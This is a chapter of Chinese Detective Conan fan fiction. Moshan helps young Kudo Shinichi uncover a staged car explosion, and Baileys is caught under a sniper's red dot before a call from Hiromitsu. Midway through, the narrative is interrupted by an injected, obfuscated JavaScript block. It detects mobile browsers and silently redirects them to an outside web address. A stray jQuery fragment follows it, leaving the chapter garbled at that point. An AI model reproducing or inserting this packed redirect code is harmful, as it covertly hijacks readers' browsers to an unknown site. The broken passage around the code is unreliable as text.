14.helium

作品:《再造卧底

    在各种各样的时刻里,有时在风最低的波谷,风暴的声音不过是一声叹息。


    摩闪走出教学楼几步,忽然一个猛回头,感觉到自己正在被注视着。身后的窗户玻璃上映出一个小小的属于儿童的脑袋来。这孩子他刚刚见过。工藤新一为什么还在这里?


    “嗨,我们又见面了。”


    “……东京真是小啊。”


    男孩像是看出了他的疑惑,迈着轻快的步伐朝着摩闪走来:“本来送走您之后,我们就该回家的。但是老爸说这儿有他和老妈曾经的朋友,叫我先在校园里四处逛逛,他把车停了去和人见个面再走。——本该如此的。”


    他的声音变得严肃起来:


    “直到刚才。老爸说他发现地下车库有人自杀了。他报了警,现在作为第一发现人做笔录,我一时半会儿只能一个人呆着了。”


    摩闪不为所动:“是吗。太可惜了,祝你玩得开心。”转身就要走,被工藤新一拉住衣摆,急匆匆地补充:“我一个人呆着很无聊!”


    “需要我告诉你图书馆在哪里吗?”摩闪转身,不等工藤新一回答便说:“遗憾的是我也不知道!”又要走,再被抓住,男孩放弃了暗示,直截了当地告诉他:“我想要你留下来,我有事想问你!”


    摩闪心一跳,说不清是好是坏,一瞬间几乎以为工藤新一也什么都记得,脑门像被雷劈了,愣愣地转过来;工藤新一抓着他的手:“我刚才在校内的大屏里又看了一遍汽车在市中心自燃的新闻报道,总觉得不太对;但无论从哪个方向,拍摄镜头都被挡的死死的。只有您了,既然曾经出现在现场过,您一定看到过更多信息——”


    黑头发的男孩抬起头,从额发下露出他年轻的清澈的眼睛。摩闪望着他,这个孩子脸部的轮廓和阴影与三年之后已然相差无几,眼中透出的神采更是未曾改变。我想摸一摸他的头。摩闪意识到有一瞬间他的思绪猛地越过时间铸就的长河——但这只是无限短暂的一瞬,现在就想象黎明到来还太早。


    “很抱歉我没有。”他知道自己的语气太生硬了,但他告诉自己没必要感到抱歉。


    工藤新一才叫住他:“——父亲说,如果您愿意留下来,您就会见到您正在找的人。”他轻轻地说。


    摩闪停住了。


    事实上,当百利甜还是那个在卧室里因父母的责骂而愤愤不平的女孩的时候,就极为有先见之明地在设定背景时为自己增添了坚实的政治后台以及学术成就,这使得他在方才的酒宴上,应付起学界同僚的疑问时如鱼得水,也顺理成章地从一张张醉醺醺的嘴里诈出了东大近日邀请来的那个外国教授现在究竟身在何处。


    百利甜回忆起这个角色时,感到很微妙。印象中这个角色在主线中从未出现,是因为自己的搅动而伴生出现的新角色。这当然可以理解,剧情是一块连接紧密裁剪得当的布料,在这抓一把,其他地方就会露出来,还得补。他查了公式书,发现塞缪尔考克斯先生的档案相当好看。


    至于其写在百科中的资料则更加好看:耶鲁大学教授,美国科学院会员,也是地球上最有雄心的实验之一——瑞士的大型强子对撞机中的ATLAS实验的研究人员。


    “……理工科学家不该长成他那样。他没有杂乱的灰色头发,不穿皱巴巴的实验服或不合身的裤子。教授肤质细腻,头发柔顺,牙齿好得令人嫉妒……”如上这些评论则来自于百利甜刚刚灌醉的学者们的口中。以至于教授在同人作品中——虽然并不是经常被提及——但一旦出现,他的形象往往是一个温柔、亲切、并且绅士的不像是美国人的学者,鼻梁上架着一副眼镜,通常裹着标准的西装三件套,手中持着一把雨伞(有时是一本书),黑色的头发之中夹杂着一些灰白,反而为他的气质增色不少。


    值得一提的是,公式书里明确提到:摩闪对于他老师的回忆反而是最少的。在确认老师牺牲之后,这个教授最亲密的人对他的追忆只有一句:


    “老师没学过任何体术,也不会做饭,还酒精过敏。”


    除此以外别无他言。


    摩闪也不曾展现他的不舍,或是逢年过节上坟扫墓。或许同人中摩闪的出场率不高原因也有这一条:他总是不够长情,不够牵肠挂肚。不会在无人之处回忆师友,不会在深夜宿醉后呼唤某人的名字,更不会在六尺之上脆弱无措。


    百利甜想。他以前对于摩闪无感,现在却有些讨厌他了。他试着代入了教授的视角,自己的学生在自己死后既不关心也不在意,甚至对于别人提都不提,最多只说过一些——他都不觉那是缺点——不擅长的地方,怎么会有这样的人?他怎么对得起教授的悉心教导?


    一开始百利甜只不过是想要以摩闪的老师作为要挟,让他听从自己的指令,然而渐渐的,他产生了一个想法:我想要和教授学习。虽然原作之中未曾明确表示摩闪的催眠是谁教的,但他捏着百科看了又看。塞缪尔考克斯教授,人工智能学家。哪怕不是不是塞缪尔传授给他,跟着教授学习人工智能相关也是多一重保障。最重要的是:假使能让塞缪尔教授当着摩闪的面承认我是他最好的学生——


    唔,组织肯定得覆灭的。这点百利甜从未怀疑过;他能免于牢狱之灾,不怕被追责,这点他也没有怀疑过。但是这之后,自己究竟是继续在警视厅上班、还是磕口A药当小孩、和贝尔摩德一同吃吃喝喝、带着琴酒远走高飞当卷王,make 酒厂great again……倒是没有想过。现在也许还能再加一条:塞缪尔的学生,听起来也不错?


    他不觉得这有什么。我姑且也是一瓶酒啊,他想。在聪明人的世界里,从来没有选择这一说,食草者顺从,而如自己一般的食肉者只会毫不犹豫地去夺取,夺取钱财,夺取地位,夺取人情,直到取无可取——


    他不知道过了多久——才意识到这黑暗非同寻常。他摸黑四处走了走,发现这里的空间远远大于一个办公室的大小;试着掏出手机照明,却找不到——这并不是说他忘带手机或者忘记了手机放在哪,而是他感觉自己的身体好似彼此不熟一般。据说自查自己是否喝醉酒有个快捷的办法:闭上眼睛,能否摸到自己的鼻子。他现在就像是喝醉了一样。


    不知道过了多久,百利甜先是听见了耳边含含混混像是盖了一层保鲜膜般的声音,好像有人在大声地呼喊,可惜离他太远了,这声音混合着远道而来的风,越来越响,越来越响——汽车鸣笛声忽然尖锐地刺痛他的鼓膜,就在近在咫尺的地方司机扯着嗓门喊:想死别站在马路中间!他一个激灵,回过头,黑暗像被点燃般燃烧殆尽,自己竟然正站在疾驰的车流之间,不知道有多少车辆在险之又险地避让他时摁响喇叭,他竟然全未听见!他慌慌张张地穿过马路,跑进小巷,这里漆黑一片,他依旧可以感觉到心脏在狂跳。


    而就在这时,一个红点,落在了他的胸前。


    百利甜盯着那熟悉得不能再熟悉的红色圆点,浑身的血液开始慢慢变凉,心不跳了。他如同被冻在原地般无法再前进一步,呼吸都停止了。


    他的手机忽然响了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299068|167043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    百利甜抖抖索索地从口袋里拿出手机,上面显示是一个未知号码。百利甜盯了它几秒,最终,还是深深吸了口气,按下了通话键,颤抖着将手机放在了耳边。


    那边传来一个熟悉的声音。


    “发生川同学。”


    那个被摩闪曾不情不愿却又打心底地称赞可靠的声音,事到如今也依旧平静温和,语气中带着不易察觉的怀念:


    “原来你没有换电话号码。很抱歉这么长时间以来,我没有试着打给你。”


    百利甜的嘴唇轻轻颤抖。他死死地盯着自己胸口的红点,最后似哭像笑地挤出一句问候来:


    “……景光。我们,好久不见。”


    被工藤新一强行留下来后,摩闪遵循既来之则安之的行事逻辑,一点儿不内耗;留了就留了,不对着小孩子生气,甚至饶有兴致地围观他推理:显而易见的,他们没必要也没法再跑一次城区,于是两人大咧咧找到了学校广播台,今晚的学生恰好是个温温柔柔的小姑娘,被一大一小两个帅哥聊聊天,说点好听的,不知怎的就把那段新闻重放了好几回,过了一会儿更是直接离开放映室。


    工藤新一独立解决的第一案好像是他15岁的时候。摩闪回忆了一下,飞天密室,嗯,御剑怜侍说这个我熟。现在他多大?对着监控推理算不算安乐椅侦探?摩闪探头探脑地盯着男孩的侧脸看,被他毫不留情地叫停:“你的视线太明目张胆了!”摩闪撇撇嘴。这小子还是半生不熟的时候最可爱,熟起来就蹬鼻子上脸。等着瞧吧,今天的活搞定,以后再也不见你。


    他心下觉得无聊,也许是把这个孩子当成hammy home里的小仓鼠,某一瞬间也曾真心实感地觉得可爱,思来想去,忽然揽过工藤新一,伸出手在面板上拖动进度条。


    “这里我已经看了好多次了!这个拍摄角度蓝鸟被雪佛兰挡的很死,看不见什么的!”工藤新一抗议他打乱自己的思路,摩闪摇头,“不是看。”他打开了音量,又伸手捂住工藤新一的眼睛:“听。”


    他视频继续播放。


    “听到了吗?没听到吗?再来一遍。”


    摩闪低下头,一遍一遍一遍地重复拖动那几秒,新闻报道,记者实时解说,声音掩盖之下,背景音吵闹,轰鸣不绝——而工藤新一终于分辨出那细微的声音:“——有枪声!”


    这就是摩闪提供的全部提示。


    他指出枪声的存在后,就在放映室松弛地大玩转椅,毫不羞愧;直到工藤新一最后得出结论:这是一场瞒天过海的戏法;那些车,他们特意选择的表演地点,用一模一样的车子取代,都是为了让世人相信真的有一辆车当众爆炸;就像魔术?摩闪笑了。对,魔术。工藤新一点点头,魔术不是魔法,魔术经不起回放。而魔术的另一个特征是——


    “需要托。”摩闪说。


    “我以为那叫魔术师助手。”工藤新一被他噎了一下,“我的意思是那个狙击手。那个看似是阻碍行动,但其实他们是一道的。”他沉默片刻,笑了起来,“您骗了我。作为这场演出当之无愧的主演……对于观众的反应,您满意吗?”


    摩闪歪歪头:“也不要忽视我助手们的贡献嘛。”


    他伸出手,想和这孩子握个手。工藤新一看了他一会,面上的笑容变淡了。


    “其实,我也骗了您。”工藤新一的声音变小了,“……其实从我拦住您之前,老爸就告诉我——”


    “地下车库里那个自杀身亡的老教授,他被发现时……在您车里。”